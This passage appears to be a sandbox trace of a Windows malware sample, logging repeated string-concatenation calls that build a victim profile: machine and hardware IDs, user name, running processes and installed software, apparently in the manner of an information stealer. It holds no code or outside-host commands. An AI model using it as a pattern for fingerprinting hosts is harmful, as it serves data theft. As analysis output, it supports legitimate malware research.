lpString2=" [" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 [") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 ["
[0054.977] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 [", lpString2="11.0.61030" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 [11.0.61030") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 